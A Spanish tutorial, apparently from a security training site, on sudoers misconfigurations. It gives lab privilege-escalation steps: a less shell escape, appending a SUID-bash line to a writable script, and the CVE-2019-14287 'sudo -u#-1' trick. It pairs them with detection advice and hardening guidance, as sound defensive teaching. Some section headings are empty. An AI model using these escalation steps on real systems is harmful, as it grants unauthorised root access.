Sudo mal configurado: cómo una regla de sudoers lleva a root y cómo escribirla bien

Sudo es la forma estándar de dar permisos de administrador en Linux sin compartir la contraseña de root: cada usuario usa la suya y solo puede hacer lo que su regla le permite. Bien configurado, es una gran herramienta de seguridad. Mal configurado, es la vía de escalada de privilegios más frecuente en los laboratorios y una de las más comunes en servidores reales.

El problema casi nunca es sudo en sí, sino las reglas que alguien escribe para «facilitar el trabajo»: permitir un editor sin contraseña, un script que el propio usuario puede modificar o un programa que, aunque parezca inofensivo, puede abrir una shell.

En esta lección vas a ver cómo funciona sudo, qué reglas son peligrosas y por qué, cómo se enumeran, cómo se explotan paso a paso en un laboratorio autorizado y cómo escribir un archivo sudoers seguro.

Practica estas técnicas solo en sistemas propios o en entornos autorizados, como los laboratorios de whoami-labs. Escalar privilegios en un sistema ajeno sin permiso es un delito.

Qué es sudo y cómo se configura#

Sudo permite que un usuario ejecute comandos como otro usuario, normalmente root, según las reglas del archivo /etc/sudoers y de los archivos de /etc/sudoers.d/. Cada regla dice quién puede ejecutar qué y como quién.

# usuario  máquina = (como_usuario)  opciones: comandos
maria      ALL     = (root)          NOPASSWD: /usr/bin/systemctl restart nginx

Esta regla permite a maria reiniciar nginx como root sin pedir contraseña, y nada más. Es una regla correcta: un comando exacto, con sus argumentos.

Para ver qué puede hacer tu usuario, basta con:

sudo -l

Por qué es peligroso#

Una regla de sudo da a un programa todo el poder de root mientras se ejecuta. Si ese programa puede hacer más cosas de las que parece, el usuario también. Estas son las configuraciones peligrosas más comunes:

Cómo se enumera#

En un laboratorio, tras conseguir una shell como un usuario normal, sudo -l es de lo primero que se ejecuta:

$ sudo -l
Matching Defaults entries for estudiante on lab:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin

User estudiante may run the following commands on lab:
    (root) NOPASSWD: /usr/bin/less /var/log/app.log
    (root) NOPASSWD: /opt/scripts/backup.sh

Para cada línea, hazte tres preguntas:

1. ¿Este programa puede ejecutar otros comandos o abrir una shell? Consulta GTFOBins en su sección Sudo.
2. ¿Puedo modificar el archivo que se ejecuta? Revisa los permisos con ls -l.
3. ¿Hay comodines o argumentos abiertos que me permitan cambiar lo que hace?

Comprueba también la versión de sudo, por si fuera una con vulnerabilidades conocidas:

sudo --version

Explotación paso a paso en un laboratorio#

Vamos a usar la salida de sudo -l de arriba en un laboratorio autorizado. Hay dos reglas, y las dos llevan a root.

Paso 1: el paginador less#

La primera regla permite abrir un registro con less como root. Parece inofensivo: solo sirve para leer. Pero less permite ejecutar comandos escribiendo ! seguido del comando, y como corre como root, el comando también:

sudo /usr/bin/less /var/log/app.log

Dentro de less, escribe:

!/bin/bash

Obtienes una shell como root. Lo mismo ocurre con more, man y muchos editores. GTFOBins documenta la técnica concreta para cada uno.

Paso 2: el script editable#

La segunda regla ejecuta un script. Mira sus permisos:

ls -l /opt/scripts/backup.sh
-rwxrwxr-x 1 root estudiante 214 /opt/scripts/backup.sh

El archivo es de root, pero el grupo estudiante puede escribir en él. Como sudo lo ejecutará como root, basta con añadirle una línea:

echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh
sudo /opt/scripts/backup.sh
/tmp/rootbash -p

El script crea una copia de bash con el bit SUID, que luego abres con -p para conservar los privilegios de root. Si el directorio /opt/scripts fuera escribible, podrías incluso sustituir el script entero.

Paso 3: otros casos habituales#

Paso 4: versiones vulnerables#

Algunas versiones de sudo tienen fallos que dan root sin necesidad de reglas especiales. Dos casos reales muy conocidos:

• CVE-2021-3156 («Baron Samedit»): un desbordamiento de memoria en el tratamiento de argumentos que afectaba a sudo desde la 1.8.2 hasta la 1.8.31p2 y de la 1.9.0 a la 1.9.5p1.
• CVE-2019-14287: con reglas del tipo (ALL, !root), pedir el usuario con identificador -1 (sudo -u#-1) ejecutaba como root. Se corrigió en la versión 1.8.28.

En un laboratorio, si sudo --version muestra una versión afectada, puede ser el camino previsto. Ten en cuenta que muchas distribuciones aplican el parche sin cambiar el número de versión principal.

Sudo y las variables de entorno#

Cuando ejecutas un comando con sudo, el programa hereda un entorno: variables como PATH, HOME o LANG. Algunas variables cambian qué código se carga, y por eso sudo las controla con tres opciones del archivo sudoers:

LD_PRELOAD le indica al sistema que cargue una librería antes que ninguna otra en un programa. Si sudo la conserva, un usuario puede compilar una pequeña librería que abra una shell al cargarse, indicarla en LD_PRELOAD y ejecutar cualquier comando permitido: la librería se cargará dentro de un proceso de root. Es un error de configuración poco frecuente, pero aparece en laboratorios precisamente para enseñar por qué env_keep debe revisarse con cuidado. Lo mismo ocurre con PYTHONPATH cuando la regla permite un script de Python: el usuario puede hacer que importe un módulo suyo.

Cómo se detecta un abuso de sudo#

Sudo registra cada uso, lo que lo convierte en una buena fuente para detectar abusos:

# Debian/Ubuntu
sudo grep sudo /var/log/auth.log | tail

# Sistemas con systemd
sudo journalctl _COMM=sudo --since "1 hour ago"

Algunas señales de alarma:

• Usuarios que ejecutan con sudo comandos que no forman parte de su trabajo habitual.
• Muchos intentos fallidos de sudo, que pueden indicar adivinación de contraseñas.
• Shells (bash, sh) lanzadas como procesos hijos de comandos permitidos como less, vim o find.
• Cambios en /etc/sudoers o en /etc/sudoers.d/ fuera de una ventana de mantenimiento.

Para entornos que lo necesiten, sudo puede registrar también todo lo que se escribe y se muestra durante una sesión (opción log_output y la herramienta sudoreplay), lo que permite revisar después exactamente qué se hizo con privilegios de root.

Qué puede lograr un atacante#

Cómo escribir un sudoers seguro#

Mínimo privilegio: comandos exactos#

Da permiso solo para el comando exacto con sus argumentos, nunca para el programa en general:

# Peligroso
deploy ALL=(root) NOPASSWD: /usr/bin/systemctl

# Seguro
deploy ALL=(root) NOPASSWD: /usr/bin/systemctl restart nginx

Nada de editores, intérpretes ni utilidades con escape#

Si alguien necesita editar un archivo protegido, usa sudoedit, que copia el archivo a un temporal, deja que lo edites con tus permisos y luego lo vuelve a colocar, sin ejecutar el editor como root:

maria ALL=(root) /usr/bin/sudoedit /etc/nginx/nginx.conf

Scripts solo si nadie más puede modificarlos#

Un script permitido en sudo debe ser propiedad de root, con permisos 755 o más restrictivos, en un directorio que solo root pueda escribir, y llamando a todo con rutas absolutas.

Evitar comodines y entornos peligrosos#

• Sin * en rutas ni en argumentos.
• Mantener env_reset y un secure_path definido, y no añadir LD_PRELOAD, LD_LIBRARY_PATH ni PYTHONPATH a env_keep.
• Considerar NOEXEC para comandos que no deban lanzar otros programas.

Editar con visudo y mantener sudo al día#

Edita siempre con visudo, que valida la sintaxis antes de guardar, y mantén sudo actualizado: las vulnerabilidades del propio sudo dan root a cualquiera.

Errores comunes al defenderse#

• Dar NOPASSWD a un editor «solo para un archivo». El editor puede abrir cualquier otro archivo o una shell.
• Confiar en que un programa «solo lee». less, more o man pueden ejecutar comandos.
• Permitir un script que el usuario puede escribir. Es darle root con un paso extra.
• Olvidar /etc/sudoers.d/. Las reglas peligrosas suelen esconderse en archivos de ese directorio.
• No actualizar sudo. Baron Samedit afectó durante años a casi todas las distribuciones.

Preguntas frecuentes#

¿Qué significa NOPASSWD?#

Que el usuario puede ejecutar ese comando con sudo sin escribir su contraseña. Es cómodo para automatizar, pero si el comando es peligroso, cualquiera que controle esa cuenta obtiene root inmediatamente.

¿Qué es sudoedit y por qué es más seguro?#

Es la forma de editar archivos protegidos sin ejecutar el editor como root. El editor corre con tus permisos sobre una copia, y sudo solo vuelve a colocar el archivo al terminar.

¿Cómo sé si un comando de sudo es explotable?#

Busca el programa en GTFOBins, en la sección Sudo, revisa si puedes modificar el archivo que se ejecuta y comprueba si hay comodines o variables de entorno conservadas.

¿Es lo mismo sudo que su?#

No. su te convierte en otro usuario usando su contraseña. sudo ejecuta comandos concretos como otro usuario usando tu contraseña y según reglas que se pueden limitar y registrar.

¿Dónde practico esto?#

En los laboratorios de whoami-labs enlazados al final de esta lección, que incluyen escapes de paginadores y editores, cadenas de sudo delegadas y scripts mal protegidos.

Resumen#

• Sudo da el poder de root a los comandos que permite cada regla; si un comando puede hacer más de lo previsto, el usuario también.
• Las reglas peligrosas típicas son: editores, intérpretes, utilidades con escape, scripts editables, comodines y LD_PRELOAD.
• Se enumera con sudo -l, revisando GTFOBins, permisos de archivos y la versión de sudo.
• Se corrige con comandos exactos, sudoedit, scripts protegidos, sin comodines, entorno limpio, visudo y sudo actualizado.

Fuentes y lecturas recomendadas#

• GTFOBins
• Manual de sudoers
• Aviso de seguridad de sudo: Baron Samedit (CVE-2021-3156)
• Aviso de seguridad de sudo: CVE-2019-14287
• MITRE ATT&CK T1548.003: Sudo and Sudo Caching